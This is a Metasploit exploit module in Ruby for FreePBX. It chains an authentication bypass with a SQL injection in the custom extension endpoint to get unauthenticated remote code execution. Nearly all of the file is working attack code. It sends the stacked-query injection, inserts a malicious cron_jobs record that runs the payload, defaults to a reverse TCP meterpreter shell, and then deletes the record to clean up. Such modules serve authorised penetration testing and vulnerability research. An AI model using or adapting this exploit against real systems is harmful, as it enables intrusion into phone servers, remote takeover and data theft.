FreePBX endpoint SQLi to RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreePBX endpoint SQLi to RCE',
        'Description' => %q{
          FreePBX is an open-source IP PBX management tool that provides a modern phone system for businesses that use
          VoIP to make and receive phone calls. Versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039,
          while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61675. The former represents an
          authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it
          allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module
          exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an
          unauthenticated SQL injection attack and gains remote code execution by injecting an SQL record into th
          cron_jobs table. The cron_jobs database contains cron tasks that FreePBX executes in the context of the
          operating system.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Noah King', # research
          'msutovsky-r7', # module
        ],
        'References' => [
          [ 'CVE', '2025-66039'], # Authentication Bypass
          [ 'CVE', '2025-61675'], # SQL injections
          [ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/']
        ],
        'Platform' => ['linux'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Unix Command',
            {
              'DefaultOptions' =>
              {
                'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
                'WfsDelay' => 70 # cronjob may take up to a minute to start
              }
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2025-12-11',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'A valid FreePBX user']),
      ]
    )
  end

  def sqli_custom_extension(payload)
    send_request_cgi({
      'uri' => normalize_uri('admin', 'config.php'),
      'method' => 'POST',
      'headers' => {
        'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6))
      },
      'vars_get' => {
        'display' => 'endpoint',
        'view' => 'customExt'
      },
      'vars_post' => {
        'id' => payload
      }
    })
  end

  def check
    res = sqli_custom_extension(%('))
    if res&.code == 500
      return Exploit::CheckCode::Vulnerable('Detected SQL injection with authentication bypass')
    end

    Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
  end

  def exploit
    @job_name = Rex::Text.rand_text_alpha(8..12)

    rce_payload = 'INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)'
    rce_payload += " VALUES ('sysadmin','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1)"

    res = sqli_custom_extension(%(1';#{rce_payload} -- ))

    if res&.code == 401
      print_good("Created cronjob with job name: '#{@job_name}'")
      print_status('Waiting for cronjob to trigger...')
    else
      fail_with(Failure::PayloadFailed, 'Cronjob was not created.')
    end
  end

  def cleanup
    super

    return unless @job_name

    # Remove the created cronjob
    res = sqli_custom_extension(%('; DELETE FROM cron_jobs WHERE jobname='#{@job_name}' -- ))

    print_status('Attempting to perform cleanup')

    if res&.code == 401
      print_good('Cronjob removed.')
    else
      print_bad("Cronjob #{@job_name} not removed, please perform manual cleanup!")
    end
  end
end